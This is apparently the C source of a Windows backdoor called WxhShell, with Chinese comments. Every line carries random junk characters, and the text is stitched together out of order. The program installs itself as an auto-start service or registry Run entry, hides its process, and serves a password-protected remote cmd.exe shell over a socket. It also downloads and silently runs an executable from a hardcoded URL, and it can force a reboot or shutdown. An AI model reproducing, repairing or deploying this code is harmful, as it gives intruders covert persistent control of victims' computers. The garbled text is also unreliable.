    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x~R,rb   
    if(Boot(SHUTDOWN)) 0ug&HEl_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>pm (gF  
    else { 0IdA!.|  
    closesocket(wsh); p/RT*?<   
    ExitThread(0); A)3H`L  
    } :UP8nq  
    break; 9( q(;|;Hp  
    } Eyjsbj8  
  // 获取shell KK3iui  
  case 's': { IQ_s]b;z  
    CmdShell(wsh); PU,$YPrZ  
    closesocket(wsh); ls&H oJ7  
    ExitThread(0); G%: 3.:E"  
    break; {ri={p]l  
  } ] uyp i#[  
  // 退出 R'zi#FeP  
  case 'x': { [2Zy~`*y{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q8AAu&te7  
    CloseIt(wsh); $C5*@`GM$  
    break; prN+{N8YC  
    } @`C'tfG/4  
  // 离开 Tn1V+)  
  case 'q': { isd-b]@:Lc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [%^sl>,7  
    closesocket(wsh); [8IO0lul+  
    WSACleanup(); 1n!:L!,`  
    exit(1); W"_<SYVJ  
    break; 1<73uR&b%  
        } tx>7?e8E  
  } 86 e13MF  
  } gee~>l  
[V:~j1{3  
  // 提示信息 )]FXUz|;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ed#fDMXGQ%  
} kl.;E{PL  
  } "4H@&:-(p  
CAC4A   
  return; <6Gs0\JB  
} A| A#|D  
+71<B>L   
// shell模块句柄 5X)M)"rq;V  
int CmdShell(SOCKET sock) _8u TK%|  
{ %eg+ .  
STARTUPINFO si; aF^N  Ye  
ZeroMemory(&si,sizeof(si)); gtu<#h(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }8Y! -qX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b|Emu!9U  
PROCESS_INFORMATION ProcessInfo; !Z:XSF[T  
char cmdline[]="cmd"; McasnjC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X'PZCg W  
  return 0; e !jy6 t  
} { sC Ni  
Mt-r`W3 q  
// 自身启动模式 MmjZq  
int StartFromService(void) WSH[*jMA  
{ vnvpb! @Q  
typedef struct %T]^,y$n  
{ T3z ovnR  
  DWORD ExitStatus; 0<\|D^m=&h  
  DWORD PebBaseAddress; -t|/g5.w_  
  DWORD AffinityMask; OA3J(4!"W  
  DWORD BasePriority; hbx4[Pf  
  ULONG UniqueProcessId; ,7&\jET5^0  
  ULONG InheritedFromUniqueProcessId; w!20  
}   PROCESS_BASIC_INFORMATION; G9Uc }z  
B-C$>H^  
PROCNTQSIP NtQueryInformationProcess; fasW b&~z  
hYkk r&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B~Kx Up  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JfN5#+_i  
QLO;D)fC  
  HANDLE             hProcess; x'`{#bKD  
  PROCESS_BASIC_INFORMATION pbi; cWkg.ri-x  
~o^|>]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bN. G%1  
  if(NULL == hInst ) return 0; 1PwtzH .w  
}MRgNr'k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )_jboaNzwI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); larv6ncV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V pnk>GWD  
Ea@0>_U|  
  if (!NtQueryInformationProcess) return 0; gS +X%  
L K #A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3k)xzv%r`  
  if(!hProcess) return 0; gLv+L]BnhH  
3<r7"/5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `}),wBq  
'0+I'_(  
  CloseHandle(hProcess); <\^o  
I3nE]OcW@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b\(f>g[  
if(hProcess==NULL) return 0; lKejWT`;  
.4CDQ&B0K  
HMODULE hMod; MT>sRx #  
char procName[255]; plWNuEW  
unsigned long cbNeeded; }U_^zQfaj  
Qf=^C Q=lV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L>14=Pr^(  
M +OVqTsFU  
  CloseHandle(hProcess); |M7C=z='  
}h;Z_XF&  
if(strstr(procName,"services")) return 1; // 以服务启动 mw5>[  
nnPT08$  
  return 0; // 注册表启动 UJ}}H}{  
} "^$Ht`p[  
;I*t5{  
// 主模块 \7LL neq  
int StartWxhshell(LPSTR lpCmdLine) MM32\}Y6  
{ Eq)b=5qrG?  
  SOCKET wsl; N9/k`ZGC  
BOOL val=TRUE; D=a*Xu2zq  
  int port=0; 3~P$p<  
  struct sockaddr_in door; `?$-T5Rr  
QwhO /  
  if(wscfg.ws_autoins) Install(); I'P|:XKI  
pA.orx  
port=atoi(lpCmdLine); uN<=v&]q  
7%"|6dw  
if(port<=0) port=wscfg.ws_port; z#Jw?K_  
7RUztu\_  
  WSADATA data; = cxO@Fu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,.P]5 lE  
\5}PF+)|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $HQ~I?r{Hf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hXI[FICQU{  
  door.sin_family = AF_INET; Mt4]\pMUb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `S((F|Ty=;  
  door.sin_port = htons(port); n/;{-  
-btNwE6[.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eFs5 l  
closesocket(wsl); .K~V DUu  
return 1; 65zwi-  
} ,$Fh^KNo]  
3)VO{Cj!  
  if(listen(wsl,2) == INVALID_SOCKET) { DH\Ox>b=  
closesocket(wsl); Z|@-=S(.  
return 1; LeN }Q  
} `{YOl\d_  
  Wxhshell(wsl); jF6Q:`k  
  WSACleanup(); bP$e1I3`  
ypM,i  
return 0; o Rk'I  
60~*$`  
} hRuiuGC  
Q']'KU.  
// 以NT服务方式启动 rIPg,4y*S!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &S.p%Qe"  
{ N''xdz3Z  
DWORD   status = 0; IJ.H/l}h  
  DWORD   specificError = 0xfffffff; WuVsW3@  
=KR^0<2r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?z)2\D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fPN/Mxu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ShRMzU  
  serviceStatus.dwWin32ExitCode     = 0; f4<~_ZGr  
  serviceStatus.dwServiceSpecificExitCode = 0; KX x+J}n  
  serviceStatus.dwCheckPoint       = 0; yT%<  t  
  serviceStatus.dwWaitHint       = 0; 5D3&E_S  
6R m dt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *W2] Kxx*  
  if (hServiceStatusHandle==0) return; aU +uPP  
D3 +|Os)  
status = GetLastError(); LU*mR{B  
  if (status!=NO_ERROR) ~mH'8K|l  
{ &VjPdu57  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OvdBUcp[  
    serviceStatus.dwCheckPoint       = 0; %\v  
    serviceStatus.dwWaitHint       = 0; GXx'"SK9  
    serviceStatus.dwWin32ExitCode     = status; kdA]gpdw  
    serviceStatus.dwServiceSpecificExitCode = specificError; (q 7;/n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mFpj@=^_G  
    return; B$ =1@  
  } 8f?o?c|  
^l(,'>Cn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %,N-M]Jf  
  serviceStatus.dwCheckPoint       = 0; BR6HD7G  
  serviceStatus.dwWaitHint       = 0; |a1zJ_t4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -K^(L #G  
} M(^IRI-  
*}r6V"pH~  
// 处理NT服务事件,比如:启动、停止 >&Ye(3w&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kyB>]2  
{ MmfshnTN  
switch(fdwControl) kYS\TMt,C  
{ R8% u9o  
case SERVICE_CONTROL_STOP: >Y3zO2Cr  
  serviceStatus.dwWin32ExitCode = 0; ;%n(ARZ#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |<YF.7r;  
  serviceStatus.dwCheckPoint   = 0; }q/[\3  
  serviceStatus.dwWaitHint     = 0; F j"]C.6B.  
  { 2JHF*zvO-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gcM(K.n  
  } FP6Jf I8  
  return; Df $Yn  
case SERVICE_CONTROL_PAUSE: HBa6Y&)<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d D^?%,a  
  break; ]G~u8HPH!m  
case SERVICE_CONTROL_CONTINUE: xUs1-O1i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Im`R2_(]  
  break; Bm^8"SSN  
case SERVICE_CONTROL_INTERROGATE: # b= *hi`E  
  break; 6:TA8w|  
}; xO 1uHaL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TsRbIq[  
} DV bY   
wB*}XJah  
// 标准应用程序主函数 0vz!)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <daBP[  
{ L: _pJP  
4kLTKm:G  
// 获取操作系统版本 u z>V  
OsIsNt=GetOsVer(); qQ<7+z<4KP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fc"+L+h@W  
QtqE&j  
  // 从命令行安装 'P >h2^z  
  if(strpbrk(lpCmdLine,"iI")) Install(); \o!B:Vb<  
k$K>ml/h  
  // 下载执行文件 5NYYrA8,^  
if(wscfg.ws_downexe) { C'0=eel[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -+.-Ab7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0bMbM^xV6  
} w 259':  
&uv7`VT  
if(!OsIsNt) { Nxt z1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;hU~nj+{  
HideProc(); :j!N7c{  
StartWxhshell(lpCmdLine); yNmzRH u  
} K"ytE2:3  
else 9RN! <`H  
  if(StartFromService()) {nmBIk2v  
  // 以服务方式启动 fyt`$y_E[  
  StartServiceCtrlDispatcher(DispatchTable); qeZ*!H6-  
else ?t];GNU`l  
  // 普通方式启动 r*s)T`T}}  
  StartWxhshell(lpCmdLine); 8:(e~? f6  
FZhjI 8+,~  
return 0; l ilF _ y  
} l 7=WO#Pb  
< {dV=  
5U&?P   
W_N!f=HW  
=========================================== ^c]lEo  
p=U5qM.O  
*l4`2eqZ  
[ 6t!}q  
-J=N  
_-g?6q  
" 0?nm`9v6  
%7bZnK`C  
#include <stdio.h> JmK[7t  
#include <string.h> b}#ay2AR  
#include <windows.h> ^iq$zHbc0u  
#include <winsock2.h> i^'Uod0d.  
#include <winsvc.h> Fps.Fhm  
#include <urlmon.h> S7 Tem:/  
()v{HB i  
#pragma comment (lib, "Ws2_32.lib") LAwAFma>  
#pragma comment (lib, "urlmon.lib") 9fL48f$  
.AgD`wba  
#define MAX_USER   100 // 最大客户端连接数 q9&d24|  
#define BUF_SOCK   200 // sock buffer ~?)ST?&  
#define KEY_BUFF   255 // 输入 buffer #I.Wmfz  
,HQaS9vBQ  
#define REBOOT     0   // 重启 "xV9$m>  
#define SHUTDOWN   1   // 关机 J<{@D9r9<~  
<ZM8*bqi  
#define DEF_PORT   5000 // 监听端口 M(2c{TT  
G_] (7  
#define REG_LEN     16   // 注册表键长度 A[6$'IJ  
#define SVC_LEN     80   // NT服务名长度 e/<Og\}P/  
tCdgtZm  
// 从dll定义API Dab1^H!KT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jpCQ2XD:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YbrsXp"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?*Kewj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @:s|X  
? N|B,F  
// wxhshell配置信息 sc! e$@U  
struct WSCFG { +FoR;v)z=F  
  int ws_port;         // 监听端口 =kspHP<k  
  char ws_passstr[REG_LEN]; // 口令 AdtAc$@xK  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pxj ?W'|  
  char ws_regname[REG_LEN]; // 注册表键名 In)#`E` g.  
  char ws_svcname[REG_LEN]; // 服务名 j/R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 24Y~x`W   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *}\!&Zk"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =B(zW .Gf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TY,w3E_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bqMoO7&c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8yH) 8:w  
)h ~MIpWR  
}; PF1m :Iz`d  
m#'2 3  
// default Wxhshell configuration X }yEMe{T  
struct WSCFG wscfg={DEF_PORT, }Jgz#d  
    "xuhuanlingzhe", RkN a;j)t  
    1, @Zs}8YhC  
    "Wxhshell", ;&|ja]r  
    "Wxhshell", /._wXH  
            "WxhShell Service", )ll`F7B-  
    "Wrsky Windows CmdShell Service", e/WR\B'1  
    "Please Input Your Password: ", ~PUz/^^ s  
  1, \)ac,i@fy  
  "http://www.wrsky.com/wxhshell.exe", HzM^Zn57%  
  "Wxhshell.exe" }Y5Sf"~M  
    }; m?_S&/+*  
<BQ4x.[  
// 消息定义模块 gJ>?<F;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pb.-Z@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cT8jG ,+"}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;""V s6  
char *msg_ws_ext="\n\rExit."; :JqH.Sqk  
char *msg_ws_end="\n\rQuit."; g[j"]~  
char *msg_ws_boot="\n\rReboot..."; L^ VG?J  
char *msg_ws_poff="\n\rShutdown..."; p~28?lYv  
char *msg_ws_down="\n\rSave to "; ;KmSz 1A  
5-}4jwk  
char *msg_ws_err="\n\rErr!"; "!gd)^<e  
char *msg_ws_ok="\n\rOK!"; Fk>/  
pHY~_^B4&  
char ExeFile[MAX_PATH]; a[)in ,3  
int nUser = 0; )5Kzq6.  
HANDLE handles[MAX_USER]; . #;ZM[v  
int OsIsNt; W\zg#5fmK  
j ij:}.d6  
SERVICE_STATUS       serviceStatus; )k3zOKZ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VZJs@qx:Z  
?G1-X~Z8  
// 函数声明 u|=_!$8  
int Install(void); q?&vV`PG5  
int Uninstall(void); &&|*GAjJ  
int DownloadFile(char *sURL, SOCKET wsh); .8l\;/o|  
int Boot(int flag); yjpV71!M  
void HideProc(void); S(Xab_DT)H  
int GetOsVer(void); x+"~-KO8q$  
int Wxhshell(SOCKET wsl); w:& m_z#M  
void TalkWithClient(void *cs); Se* GR"Z+  
int CmdShell(SOCKET sock); on+ c*#  
int StartFromService(void); PV>-"2n  
int StartWxhshell(LPSTR lpCmdLine); 1,Uv;s;{  
#Z}\;a{vZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |~CN]N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f5Zx:g  
4)-LlYS_d<  
// 数据结构和表定义 Nj qUUkc  
SERVICE_TABLE_ENTRY DispatchTable[] = g% #" 5Kr  
{ (J][(=s;a  
{wscfg.ws_svcname, NTServiceMain}, 1/3Go97/qV  
{NULL, NULL} m ,)4k&d  
}; H6x~mZu_:T  
^:\|6`{n  
// 自我安装 `pE~M05  
int Install(void) f$NudG!S  
{ .#6Dad=S*  
  char svExeFile[MAX_PATH]; ]&qujH^Dd*  
  HKEY key; r~z-l,  
  strcpy(svExeFile,ExeFile); vN-#Ej. u  
y|nMCkuX  
// 如果是win9x系统,修改注册表设为自启动 I7nt<l!  
if(!OsIsNt) { 7:I` ~ @m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,;'9PsIS^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @/ wJW``;  
  RegCloseKey(key); $OHY^IE(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,g#=pdX;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AM1J ^Dp  
  RegCloseKey(key); QSW62]=vV  
  return 0; s9PD[u/y  
    } DHW;*A-  
  } lq}=&)%C  
} tEf_XBjKV  
else { 5v=%pQbY  
.%h.b6^  
// 如果是NT以上系统,安装为系统服务 D:U:( pg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * 'WzIk2  
if (schSCManager!=0) 3205gI,  
{ |rka/_  
  SC_HANDLE schService = CreateService 3aQWzEnh  
  ( "~9 !o"  
  schSCManager, @H"~/m_o  
  wscfg.ws_svcname, r+217fS>  
  wscfg.ws_svcdisp, G)';ucs:,  
  SERVICE_ALL_ACCESS, Xa.Qt.C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p)N=  
  SERVICE_AUTO_START, **d3uc4y  
  SERVICE_ERROR_NORMAL, DmM<Kkg.J  
  svExeFile, }xn\.M:ic  
  NULL, P&V,x`<Z  
  NULL, F``$}]9KHD  
  NULL, L"&j(|{  
  NULL, I#zrz3WU  
  NULL V]tuc s  
  ); SEq_37  
  if (schService!=0) Ra}%:  
  { 2i;G3"\  
  CloseServiceHandle(schService); k, &*d4  
  CloseServiceHandle(schSCManager); BK]bSj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3xWeN#T0  
  strcat(svExeFile,wscfg.ws_svcname); 5e~\o}]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r j#K5/df  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d>*?C!xE  
  RegCloseKey(key); d&4]?8}=.  
  return 0; cu5Yvp  
    } ME7jF9d  
  } -@X?~4Idz  
  CloseServiceHandle(schSCManager); 7"Sw))H|  
}  d!5C$C/x  
} 0tv"tA;  
"rOe J~4 X  
return 1; S Cs@Q  
} >!MOgLO3  
"5"6mw?  
// 自我卸载 2F[smUL  
int Uninstall(void) :p0|4g  
{ 3JVENn9  
  HKEY key; o?$kcI4  
,)e&u1'  
if(!OsIsNt) { q(4W /y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `mXbF  
  RegDeleteValue(key,wscfg.ws_regname); u[q1]]   
  RegCloseKey(key); YhYcqE8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $_CE!_G&)  
  RegDeleteValue(key,wscfg.ws_regname); r|wB& PGW  
  RegCloseKey(key); 9otA5I^v  
  return 0; ,_@C(O  
  } w DswK "T  
} LW<DhMV  
} }'mVD^<+  
else { 2\h}6DGx2  
/fC@T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \]ouQR.t@\  
if (schSCManager!=0) 4A6D>ChB'E  
{ >Y=HP&A<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @FVan  
  if (schService!=0) eSo/1D  
  { T\ZWKx*#  
  if(DeleteService(schService)!=0) { lPF(&pP  
  CloseServiceHandle(schService); vH/ z|<  
  CloseServiceHandle(schSCManager); P=PcO>  
  return 0; UmYReF<<_  
  } t)P5bQ+$u9  
  CloseServiceHandle(schService); -6a4H?L  
  } D-\WS^#  
  CloseServiceHandle(schSCManager); GWo^hIfJ  
} os6p1"_\f  
} S-V)!6\cK  
CA%p^4Q  
return 1; $MD|YW5  
} 1-[~}  
e+jp03m\W  
// 从指定url下载文件 7KIOI,qb6  
int DownloadFile(char *sURL, SOCKET wsh) Ncr38~;w  
{ GyI(1O AW  
  HRESULT hr; v Yt-Nx  
char seps[]= "/"; \pI)tnu6'U  
char *token; fDy Fkhc  
char *file; d~+8ui{-U  
char myURL[MAX_PATH]; F7$x5h@  
char myFILE[MAX_PATH]; HDqPqrWm  
}YUUCq&  
strcpy(myURL,sURL); s`"o-w\$>  
  token=strtok(myURL,seps); ngF5ywIG  
  while(token!=NULL) fy|ycWW>8  
  { +E8 \g  
    file=token; p ;E zmz  
  token=strtok(NULL,seps); Z#7T!/28  
  } YT!QY@qw  
o('W2Bs-o  
GetCurrentDirectory(MAX_PATH,myFILE); ga0>J_  
strcat(myFILE, "\\"); Uw R,U#d  
strcat(myFILE, file); ;#c|ZnX  
  send(wsh,myFILE,strlen(myFILE),0); ly`p)6#R=  
send(wsh,"...",3,0); U-.?+ `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tI50z khaB  
  if(hr==S_OK) VsS. \1  
return 0; 3/a$oO  
else A*l(0`aWq  
return 1; I)$`@.  
s@C KZ`  
}  V[D[MZ  
8joJ e>9VJ  
// 系统电源模块 GE4d=;5  
int Boot(int flag) _r!''@B  
{ :%GxU;<E{  
  HANDLE hToken; =6j4_+5mnH  
  TOKEN_PRIVILEGES tkp; uv*OiB"  
$47cKit|k:  
  if(OsIsNt) { cU}j Whu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `P;fD/I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kj[X1X5  
    tkp.PrivilegeCount = 1; :ie7HF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9/Q_Jv-Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SI_{%~k*B  
if(flag==REBOOT) { (QQ/I;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4-^LC<}k  
  return 0; sW%U3,j  
} PAF2=  
else { ,aI 6P-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "B`yk/GM]  
  return 0; + >o/Ob  
} a&YD4DQ05  
  } ,ry2J,IT7  
  else { ~7PPB|XY  
if(flag==REBOOT) { 2YvhzL[um  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :CEhc7gU  
  return 0; S!gV\gEbDj  
} ]9z{ 95  
else { CL/8p;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uiq)?XUKv  
  return 0; vPuPSE%M  
} Te?UQX7Z}M  
} /$zYSP)YT  
Ikiv+Fq(  
return 1; (n7 v $A  
} ~ ar8e  
RW 23lRA6  
// win9x进程隐藏模块 Y604peUF  
void HideProc(void) >*%ySlZbs  
{ A S;ra,x  
C/dqCUX:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y<Y5HI"  
  if ( hKernel != NULL ) Cec!{]DL&  
  { 2&fIF}vk>m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O6gI%Jdp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^!H8"CdC3  
    FreeLibrary(hKernel); ,c_[`q\  
  } NwM=  
Ty\&ARjb 8  
return; * EOIgQp  
} h$|K vS  
#: L|-_=a  
// 获取操作系统版本 ~]?Q'ER  
int GetOsVer(void) @TC_XU)&  
{ R(@7$  
  OSVERSIONINFO winfo; M5 ep\^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S*rgYe!E  
  GetVersionEx(&winfo); !I5_ln  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,eD@)K_:  
  return 1; 7(na?Z$  
  else |mV*HdqU  
  return 0; 2Jrr;"r  
} &!J X  
(i>VJr  
// 客户端句柄模块 ?,NZ /n  
int Wxhshell(SOCKET wsl) u9}}}UN!  
{ ]hTYh^'e  
  SOCKET wsh; t`03$&Cx7  
  struct sockaddr_in client; q5:-?|jXJ  
  DWORD myID; a?E]-Zf  
mIq6\c$  
  while(nUser<MAX_USER) 2?rg&og6  
{ |{cdXbr  
  int nSize=sizeof(client); GEfX,9LF&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K) $.0S9d  
  if(wsh==INVALID_SOCKET) return 1; 3JEH sYxs  
\\ M2_mT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )zI<C=])"  
if(handles[nUser]==0) eSoOJ[&$  
  closesocket(wsh); h>$,97EU  
else V^nYG$si  
  nUser++; j(6:   
  } uF9p:FvN8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d6,%P 6  
dz &| 3o  
  return 0; -vwkvNn8  
} <M=U @  
eV^@kI4  
// 关闭 socket 8dq{.B?  
void CloseIt(SOCKET wsh) , %mTKOs  
{ "R+ x  
closesocket(wsh); :2Qm*Y&_$V  
nUser--; O\pqZ`E=s  
ExitThread(0); nCh9IF[BL/  
} iyU@|^B"Wa  
|M  `B  
// 客户端请求句柄 qqQnL[`)C  
void TalkWithClient(void *cs) UtG@0(6C  
{ p 9XHYf72  
F}<&@7kF  
  SOCKET wsh=(SOCKET)cs; <%<}];bmFL  
  char pwd[SVC_LEN]; Y1+4ppZ  
  char cmd[KEY_BUFF]; vTQQ d@  
char chr[1]; SG |!wH^  
int i,j; 7<x0LW  
9c9-1iS  
  while (nUser < MAX_USER) { 9z\q_ 0&i  
;gy_Qf2U  
if(wscfg.ws_passstr) { -aLBj?N c[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pZ+zm6\$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' IFbD["r  
  //ZeroMemory(pwd,KEY_BUFF); pK1P-!c  
      i=0; ,!F'h:   
  while(i<SVC_LEN) { X}0NeG^'O  
lg&"=VXx51  
  // 设置超时 ~^$ONmI5  
  fd_set FdRead; MA.1t  
  struct timeval TimeOut; 1Ls@|   
  FD_ZERO(&FdRead); r.xGvo{iY  
  FD_SET(wsh,&FdRead); B{H;3{0  
  TimeOut.tv_sec=8; b.47KJzt  
  TimeOut.tv_usec=0; qc|;qPj   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ hm/B`t*e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !w]!\H  
?{\8!_Gvsl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RZjTUMAz4  
  pwd=chr[0]; VvSD &r^qI  
  if(chr[0]==0xd || chr[0]==0xa) { x% k4Lm  
  pwd=0; Y~dRvt0_w  
  break; knh^q;q*  
  } [esjR`u  
  i++; SEr\ u#  
    } ^USj9HTK  
YTL [z:k}  
  // 如果是非法用户,关闭 socket Ooc,R(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -0YS$v%au>  
} ?qAX *j  
8?W\kf$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7XT2d=)"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }EE  
uh\I'  
while(1) { _jy*`$"q (  
=y,_FFoS  
  ZeroMemory(cmd,KEY_BUFF); ppR~e*rv-  
D`3}j  
      // 自动支持客户端 telnet标准   @Rig@  
  j=0; L; Nz\sJ  
  while(j<KEY_BUFF) { }(Nb]_H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }%| (G[  
  cmd[j]=chr[0]; _Z#yI/5r  
  if(chr[0]==0xa || chr[0]==0xd) { DvF`KHsy  
  cmd[j]=0; %LXk9K^]e  
  break; {O5;V/00}  
  } k <A>J-|  
  j++; WfhQi;r  
    } [ k^6#TQcn  
G<4H~1?P  
  // 下载文件 =9i:R!,W  
  if(strstr(cmd,"http://")) { |08tQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {}D8Y_=9\  
  if(DownloadFile(cmd,wsh)) I/|)?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9TO  
  else ~ I]kY%  
